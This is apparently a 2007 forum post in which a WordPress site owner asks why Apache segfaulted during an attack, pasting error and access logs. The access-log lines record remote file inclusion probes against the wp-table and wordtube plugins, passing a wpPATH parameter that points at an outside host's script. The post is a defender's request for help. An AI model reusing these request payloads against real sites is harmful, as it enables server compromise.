Attacks to WP caused Apache Segmentation fault

I noticed many segmentation fault generated by Apache, apparently when my server was under attack, see below. I don’t have the plugin “wordtube” installed for WP 2.3.1.

Any clue or similar experience? Help most appreciated.

Jiwei

[Tue Dec 04 04:07:06 2007] [error] [client 204.9.188.11] File does not exist: /var/www/html/wp-content
[Tue Dec 04 04:07:06 2007] [notice] child pid 5021 exit signal Segmentation fault (11)
[Tue Dec 04 04:07:06 2007] [error] [client 204.9.188.11] File does not exist: /var/www/html/wp-content
[Tue Dec 04 04:07:07 2007] [notice] child pid 6982 exit signal Segmentation fault (11)
[Tue Dec 04 04:07:07 2007] [notice] child pid 9281 exit signal Segmentation fault (11)
[Tue Dec 04 04:07:08 2007] [notice] child pid 6979 exit signal Segmentation fault (11)

Meanwhile, the Access Log shows the following at the same period of time.

access_log.1:204.9.188.11 - - [04/Dec/2007:04:07:06 -0500] "GET //wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=https://i-play.org/files/..../ID.txt?
 HTTP/1.1" 404 248
access_log.1:204.9.188.11 - - [04/Dec/2007:04:07:06 -0500] "GET //wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=https://i-play.org/files/..../ID.txt?
 HTTP/1.1" 404 248
access_log.1:204.9.188.11 - - [04/Dec/2007:04:07:21 -0500] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=https://i-play.org/files/..../ID.txt? HTTP/1.1" 404 245
access_log.1:204.9.188.11 - - [04/Dec/2007:04:07:28 -0500] "GET //wp-content/plu
gins/wordtube/wordtube-button.php?wpPATH=https://i-play.org/files/..../ID.txt? HTTP/1.1" 404 245